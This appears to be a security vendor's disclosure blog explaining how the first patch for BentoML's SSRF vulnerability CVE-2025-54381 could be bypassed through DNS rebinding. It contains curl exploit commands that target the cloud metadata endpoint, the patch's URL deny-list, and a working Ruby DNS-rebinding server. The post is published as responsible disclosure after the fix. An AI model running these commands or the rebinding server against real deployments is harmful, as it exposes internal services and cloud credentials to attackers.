How Tenable Found a Way To Bypass a Patch for BentoML’s Server-Side Request Forgery Vulnerability CVE-2025-54381

Tenable Research recently discovered that the original patch for a critical vulnerability affecting BentoML could be bypassed. In this blog, we explain in detail how we discovered this patch bypass in this widely used open source tool. The vulnerability is now fully patched.
Key takeaways
- Tenable Research discovered that the initial patch for a high-severity SSRF vulnerability in BentoML – a popular open source tool – could be circumvented.
- The vulnerability (CVE-2025-54381) in the BentoML file-upload processing system could allow remote attackers to make arbitrary HTTP requests from the server without authentication.
- The vulnerability is now fully and properly patched. Users should upgrade immediately to version 1.4.22 or later to fix it.
Introduction to BentoML
BentoML is an open source Python framework designed to facilitate the deployment of AI apps and models. It provides a comprehensive environment for packaging, serving, and monitoring models in production, with a simple API system for exposure.
Typically, BentoML functions as an HTTP server that receives data such as files or URLs, processes them through user-defined services, and returns a result. This flexibility makes it convenient for AI model inference endpoints. However, any insecure handling of user-supplied URLs can open the door to server-side request forgery (SSRF) attacks.
Understanding CVE-2025-54381
In August 2025, a critical vulnerability was discovered in BentoML versions 1.4.0 through 1.4.18. This SSRF vulnerability allows unauthenticated remote attackers to force the server to perform arbitrary HTTP requests.
An SSRF vulnerability occurs when an application accepts user-provided URLs and performs server-side HTTP requests without adequate validation. This enables attackers to target internal or protected resources, such as cloud metadata endpoints like 169.254.169.254 that contain sensitive information.
For a comprehensive background on SSRF mechanics and common exploitation techniques, read our blog post about SSRF fundamentals.
Minimal vulnerable case:
Here's a minimal example of vulnerable BentoML code:
from pathlib import Path
import bentoml
@bentoml.service
class ImageProcessor:
@bentoml.api
def process_image(self, image: Path) -> str:
return f"Processed image: {image}"
Exploitation with curl:
The vulnerability can be exploited using a simple curl command:
curl -X POST http://target:3000/process_image \
-F 'image=http://169.254.169.254/latest/meta-data/'
In this scenario, the server downloads content from the attacker-supplied URL and processes it through the application pipeline.
While the vulnerability initially received a CVSS score of 9.9, its practical severity varies between 5.3 and 8.6 depending on network configuration and accessibility.
The official patch analysis
In the original patch, BentoML addressed the vulnerability by implementing an is_safe_url function to filter incoming URLs:
def is_safe_url(url: str) -> bool:
"""Check if URL is safe for download (prevents basic SSRF)."""
try:
parsed = urlparse(url)
except (ValueError, TypeError):
return False
if parsed.scheme not in {"http", "https"}:
return False
hostname = parsed.hostname
if not hostname:
return False
if hostname.lower() in {"localhost", "127.0.0.1", "::1", "169.254.169.254"}:
return False
try:
ip = ipaddress.ip_address(hostname)
return not (ip.is_private or ip.is_loopback or ip.is_link_local)
except ValueError:
pass
try:
addr_info = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return False
for info in addr_info:
try:
ip = ipaddress.ip_address(info[4][0])
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except (ValueError, IndexError):
continue
return True
Filtering is based on:
- A deny list of specific host names (localhost, 127.0.0.1, etc.),
- Blocking private, loopback, and link-local IP addresses,
- DNS resolution followed by IP address filtering.
Patch limitations
However, several critical weaknesses undermine this protection:
- Incomplete Blocklist: Alternative addresses like instance-data (internal DNS alias on some cloud platforms) or provider-specific endpoints remain accessible. For example, instead of 169.254.169.254, it is possible to use instance-data (internal DNS alias on some clouds) or other provider-specific addresses that are not listed.
- Unfiltered Cloud Provider IPs: Certain public IP addresses used by cloud providers aren't caught. For example, 100.100.100.200 (Alibaba Cloud metadata endpoint) passes validation.
- No DNS Rebinding Protection: The implementation validates URLs based on initial DNS resolution but doesn't verify subsequent resolutions, enabling DNS rebinding attacks.
This last limitation is the key to bypassing this patch.
Exploitation via DNS rebinding
While HTTPX (BentoML's HTTP client) doesn't follow redirects by default, DNS rebinding provides an effective bypass:
- Initial Request: DNS resolves to a legitimate public IP, passing is_safe_url validation
- Actual HTTP Request: DNS resolves to a private/loopback IP, accessing prohibited resources

Minimal reproduction code :
The following code illustrates and reproduces the vulnerability
import ipaddress
import socket
from urllib.parse import urlparse
import httpx
DEFAULT_TIMEOUT = 10.0
def is_safe_url(url: str) -> bool:
try:
parsed = urlparse(url)
except (ValueError, TypeError):
return False
if parsed.scheme not in {"http", "https"}:
return False
hostname = parsed.hostname
if not hostname:
return False
if hostname.lower() in {"localhost", "127.0.0.1", "::1", "169.254.169.254"}:
return False
try:
ip = ipaddress.ip_address(hostname)
return not (ip.is_private or ip.is_loopback or ip.is_link_local)
except ValueError:
pass
try:
addr_info = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return False
for info in addr_info:
try:
ip = ipaddress.ip_address(info[4][0])
if ip.is_private or ip.is_loopback or ip.is_link_local:
return False
except (ValueError, IndexError):
continue
return True
def fetch(url: str) -> bytes:
if not is_safe_url(url):
raise ValueError("URL not allowed for security reasons")
with httpx.Client(timeout=DEFAULT_TIMEOUT) as client:
resp = client.get(url)
resp.raise_for_status()
return resp.content
def main():
url = "http://[URL_TO_TEST]"
try:
body = fetch(url)
print(f"Downloaded {len(body)} octets from {url}")
except Exception as e:
print(f"Download failed : {e!r}")
if __name__ == "__main__":
main()
After testing various public DNS rebinding services (like http://1u.ms/ and https://lock.cmpxchg8b.com/rebinder.html) without success, we developed a custom exploitation script for better control and visibility:
#!/usr/bin/env ruby
require 'rubydns'
PORT = 53
DOMAIN = ''
PUBLIC_IPV4 = ''
EXPLOIT_IPV4 = '127.0.0.1'
PUBLIC_IPV6 = ''
EXPLOIT_IPV6 = '::1'
endpoint = Async::DNS::Endpoint.for("0.0.0.0", port: PORT)
RubyDNS.run(endpoint) do
ipv4_counts = {}
ipv6_counts = {}
match(%r{.*#{Regexp.escape(DOMAIN)}$}i, Resolv::DNS::Resource::IN::A) do |transaction|
hostname = transaction.name.downcase
ipv4_counts[hostname] ||= 0
ipv4_counts[hostname] += 1
if ipv4_counts[hostname] == 1
ip = PUBLIC_IPV4
puts "#{transaction.name} → #{ip} (IPv4 VALIDATION)"
else
ip = EXPLOIT_IPV4
puts "#{transaction.name} → #{ip} (IPv4 EXPLOITATION)"
end
transaction.respond!(ip, ttl: 0)
end
match(%r{.*#{Regexp.escape(DOMAIN)}$}i, Resolv::DNS::Resource::IN::AAAA) do |transaction|
hostname = transaction.name.downcase
ipv6_counts[hostname] ||= 0
ipv6_counts[hostname] += 1
if ipv6_counts[hostname] == 1
ipv6 = PUBLIC_IPV6
puts "#{transaction.name} → #{ipv6} (IPv6 VALIDATION)"
else
ipv6 = EXPLOIT_IPV6
puts "#{transaction.name} → #{ipv6} (IPv6 EXPLOITATION)"
end
transaction.respond!(ipv6, ttl: 0)
end
match(%r{.*#{Regexp.escape(DOMAIN)}$}i) do |transaction|
transaction.fail!(:NXDomain)
end
otherwise do |transaction|
transaction.fail!(:NXDomain)
end
end
The script implements a stateful DNS server that:
- Maintains per-hostname resolution counters
- Returns a public IP on first resolution (passes `is_safe_url` validation)
- Returns a private/loopback IP on subsequent resolutions (enables exploitation)
- Sets TTL to 0 to prevent caching
To use this script, you'll need:
- A publicly accessible server
- A DNS zone configured to delegate queries to your server
- Full control over the DNS resolution process
The use of this script requires a publicly reachable server with a DNS zone configured so that queries for your chosen domain are answered by this script. This gives you full control over the resolution process needed for DNS rebinding.
Final Exploitation
Once the DNS rebinding server is running, the vulnerability can be exploited with:
curl -X POST http://target:3000/process_image \
-d 'image=http://malicious.your-domain.com/'
Conclusion
We contacted BentoML and shared our findings with its team, which replied that they were already aware of the problems with the original patch. A few weeks after our communication with BentoML, the organization issued version 1.4.22, fixing the vulnerability.
Tenable Research recognized early the significant role AI/LLM technologies would play in organizations — and the new security challenges they would introduce. To address these, it's crucial to enforce security fundamentals in server development and tool usage. Adhering to basic security practices can significantly mitigate risks from vulnerabilities in novel systems and prevent devastating attacks.
We thank the BentoML security team for their efforts in mitigating this issue and their clear communication during our disclosure process.
Timeline :
- July 31, 2025 : Initial contact
- August 14, 2025 : Second attempt
- August 25, 2025: Vendor acknowledgment - Known issue
- August 26, 2025: BentoML released version 1.4.22 with the fix
- Cloud
- Risk-based Vulnerability Management